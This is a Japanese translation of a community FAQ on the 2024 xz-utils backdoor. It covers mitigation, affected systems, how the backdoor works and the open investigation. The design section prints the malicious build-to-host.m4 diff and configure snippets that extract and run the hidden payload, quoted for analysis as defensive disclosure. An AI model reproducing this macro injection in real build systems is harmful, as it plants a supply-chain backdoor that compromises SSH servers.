Zenn
Open2

【日本語訳】FAQ on the xz-utils backdoor

Linux
Security
macOS
SSH
codehexcodehex

オリジナルは随時更新中です。基本的にはこちらを読むように。

FAQ on the xz-utils backdoor

対応策について

  • xzのバージョン5.6.0または5.6.1を使用している場合は、バージョン5.4.6にダウングレードする
    • ダウングレードできない場合は公開SSHサーバーを無効にする必要があります。
  • xzのバージョンを確認するには、xz --versionコマンドを使用します。

macOS の場合

  • brew update と brew upgrade で xz-utils のダウングレードを実施できる

https://xeiaso.net/notes/2024/xz-vuln/ より

  • xz 5.6.0 または 5.6.1 がまだリリースされていないディストリビューションを使用している場合は、おそらく安全です。
  • Debian sid、Fedora 40、Fedora Rawhide、openSUSE Tumbleweed、または openSUSE MicroOS を実行している場合は、今すぐアップデートを実行してください。
codehexcodehex

xz-utils バックドアに関するFAQ

背景

2024年3月29日に、開発者が無損失圧縮を行うためのソフトウェアスイートであるxz-utilsにバックドアが発見されました。このパッケージは、リリースのtarball、ソフトウェアパッケージ、カーネルイメージ、およびinitramfsイメージを圧縮するために一般的に使用されています。非常に広く配布されており、平均的なLinuxやmacOSシステムには便宜上インストールされていると統計的に言えます。

このバックドアは非常に間接的であり、いくつかの_既知の_特定の条件が満たされたときにのみ現れます。他にも発見される可能性があります！しかしながら、このバックドアは、公開SSHポートに接続するリモートの権限のないシステムによって少なくともトリガー可能であり、実際に接続によって活性化され、パフォーマンスの問題を引き起こしているのが観察されていますが、認証をバイパスする（など）のに必要な条件はまだわかっていません。

システムが脆弱であるためには、以下のことが真である必要があります:

  • glibcを使用するディストリビューションを実行している必要があります（IFUNCのため）
  • xzまたはliblzmaのバージョン5.6.0または5.6.1をインストールしている必要があります（xz-utilsはliblzmaライブラリを提供します）- おそらく、ローリングリリースのディストリビューションを実行していて、宗教的に更新している場合にのみ当てはまります。

systemdと修正されたopensshの組み合わせが脆弱であることがわかっていますが、ペイロードのさらなる分析を待つまで、他の構成が脆弱でないと確信することはできません。

恐怖を煽るつもりはありませんが、この段階で、私たちは幸運だったと明確にすることが重要です。感染したliblzmaの他の効果があるかもしれません。

公開アクセス可能なsshdを実行している場合、原則として、残りを読みたくない人のために - おそらく脆弱です。

そうでない場合、現時点では不明ですが、調査が続いているため、できるだけ早く更新する必要があります。

要約すると:

  • .debまたは.rpmベースのディストリビューションを使用し、glibcおよびxz-5.6.0またはxz-5.6.1を使用している場合:
    • 公開アクセス可能なsshでsystemdを使用している場合: 今すぐ更新してください
    • それ以外の場合: 今すぐ更新してくださいが、前者を優先してください
  • 他のタイプのディストリビューションを使用している場合:
    • glibcおよびxz-5.6.0またはxz-5.6.1を使用している場合: 今

すぐ更新してくださいが、上記を優先してください。

これらが当てはまる場合は、システムを更新してこの脅威を軽減してください。影響を受けるシステムと更新方法についての詳細は、この記事を参照するか、xz-utilsのRepologyページを確認してください。

これはまだ新しい状況です。私たちが知らないことがたくさんあります。他に可能なエクスプロイトパスがあるかどうかわかりません。この1つのパスについてのみ知っています。とにかくシステムを更新してください。未知の未知は、知られている未知よりも安全です。

これは生きたドキュメントです。このドキュメントの内容は正確であるという善意で作成されていますが、言ったように、何が起こっているのかについてはあまりわかっていません。

これはsshd、systemd、またはglibcの欠陥ではありません。それがどのように悪用されたかです。

デザイン

このバックドアにはいくつかのコンポーネントがあります。高レベルで:

  • 上流が公開するリリースtarballには、GitHubにあるのと同じコードは含まれていません。これはCプロジェクトでは一般的であり、下流の消費者がautotoolsやautoconfの実行方法を覚えておく必要がないようにするためです。リリースtarballに含まれるbuild-to-host.m4のバージョンは、GitHubの上流と大きく異なります。
  • gitリポジトリ内のtests/フォルダには、意図的に作成されたテストファイルも含まれています。これらのファイルは次のコミットにあります:
  • build-to-host.m4によって呼び出されるスクリプトは、この悪意のあるテストデータを解凍し、ビルドプロセスを変更するために使用します。
  • IFUNCは、glibcによって提供される機構で、OpenSSHの認証ルーチンの実行時フック/リダイレクションを実行するために使用されます。IFUNCは通常、

正当な目的で使用されるツールですが、このケースではこの攻撃パスのために悪用されています。

通常、上流はGitHubで自動生成されたものとは異なる修正されたリリースtarballを公開します。これらの修正されたtarballには、ビルドプロセス中にスクリプトを実行するための悪意のあるバージョンのbuild-to-host.m4が含まれています。

このスクリプト（少なくともバージョン5.6.0および5.6.1で）は、マシンのアーキテクチャなど、さまざまな条件をチェックします。build-to-host.m4によって解凍された悪意のあるスクリプトのスニペットと、それが何をするかの説明は次のとおりです:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • amd64/x86_64がビルドのターゲットである場合
  • そして、ターゲットがlinux-gnuという名前を使用している場合（ほとんどglibcの使用をチェックします）

また、使用されているツールチェーンもチェックします:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

そして、DebianまたはRed Hatパッケージをビルドしようとしているかどうかをチェックします:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

この攻撃は、glibcを使用し、DebianまたはRed Hatから派生したディストリビューションを実行しているamd64システムをターゲットにしているようです。現時点では、他のシステムが脆弱である可能性がありますが、わかりません。

デザインの詳細

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if

 test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

ペイロード

これらの条件がチェックされると、ペイロードがソースツリーに注入されます。このペイロードについては詳しく分析していません。主なことを知っています:

  • 実行中のプログラムがプロセス名/usr/sbin/sshdを持っている場合、ペイロードがアクティブになります。sshdを/usr/binや他のフォルダに置くシステムが脆弱かどうかはまだわかりません。

  • 他のシナリオでもアクティブになる可能性がありますが、sshに関連しない場合でもそうかもしれません。

  • ペイロードが何を意図しているのかわかりません。調査中です。

  • Vanilla upstream OpenSSHは、その依存関係の1つがliblzmaにリンクされていない限り、影響を受けません。


    <!-- * Update: Lennart Poettering (via @Foxboron) mentions that it may happen
    via pam->libselinux->liblzma, and possibly in other cases too. -->

  • このペイロードがopenssh sshdにロードされると、RSA_public_decrypt関数が悪意のある実装にリダイレクトされます。この悪意のある実装を使用して認証をバイパスできることが観察されています。~なぜそうなるのかを説明するためにさらに調査が行われています。~

    • Filippo Valsordaは分析を共有しており、攻撃者はペイロードによって検証されるキーを提供する必要があり、その後攻撃者の入力がsystem()に渡され、リモートコード実行（RCE）が可能になることを示しています。

人々

このプロジェクトの背後にいる人々についてこのドキュメントで憶測することは望んでいません。これは私たちの時間の生産的な使用ではありませんし、法執行機関が責任者を特定することができるでしょう。彼らもおそらく自分たちのシステムを修正しています。

xz-utilsには2人のメンテナーがいます:

  • Lasse Collin (Larhzu) はxzの始まりから（~2009年）メンテナンスを行っており、その前はlzma-utilsを担当していました。
  • Jia Tan (JiaT75) は過去2〜2.5年間xzに貢献を始め、約1.5年前にコミットアクセス権とリリースマネージャー権限を得ました。

Lasseは定期的にインターネット休憩を取り、現在もその最中です。この全てが始まる前に始まりました。彼はhttps://tukaani.org/xz-backdoor/でアップデートを投稿しており、コミュニティと協力しています。

彼が状況を慎重に分析し、スピードを上げる時間を取る間、彼には忍耐強くしてください。

雑記

ペイロードの分析

これは、残りと比べても非常に流動的な部分です。まだ初期段階です。

他のプロジェクト

他のプロジェクトが影響を受けている（または他のプロジェクトへの変更がxzバックドアを容易にするために行われた）という懸念があります。私は魔女狩りを避けたいですが、すでに広くリンクされているい

くつかの例をここにリストアップして、いくつかのコメントを提供します。

  • libarchiveがチェックアウトされています:

  • https://github.com/google/oss-fuzz/pull/10667 はJia Tanによって作成され、xz-utilsをテストするときにoss-fuzzでIFUNCを無効にしました

    • これが安全だったかどうかは不明です。明らかに良く見えませんが、以下を参照してください。
    • IFUNCは壊れやすいメカニズムであり、たとえばASANに敏感であることが知られているため、そのような変更が善意で行われた可能性がありますが、もちろん後知恵で怪しいです。しかし、oss-fuzzのメンテナーがそれを拒否すべきだったとは言えません。

謝辞

  • この問題を発見し、linux-distros、その後oss-securityに報告したAndres Freund。
  • 対応を調整し、修正を推し進めるのに助けてくれるすべての勤勉なセキュリティチーム。
  • このページを読みやすく要約したXe Iaso。

このドキュメントのTODO

  • CMake landlockのことを言及する
  • リリースと署名者のテーブルを追加する？
  • マクロの後にインジェクションスクリプトを含める
  • 検出に言及する？

全体的なTODO

これらに取り組むことができ、そして取り組むべきです。私はただ人々が残っているものの大まかなアイデアを持っているようにそれらをリストアップしています。

  • ペイロードのリバースエンジニアリング（まだかなり初期段階です）
  • 可能性のある汚染されたxz-utilsのコミットのすべてを監査する
  • sshdがliblzmaをそのプロセスで取得する他のパスを調査する（少なくとも直接ではなくlibsystemdを介してではない）
    • （かなり確信していますが、他に存在すると言及されたlibselinux & pamはまだチェックしていません。）
  • 類似のビルドシステムライン（例えば、類似のビルドシステム行）による他のプロジェクトのチェック
  • ???

参照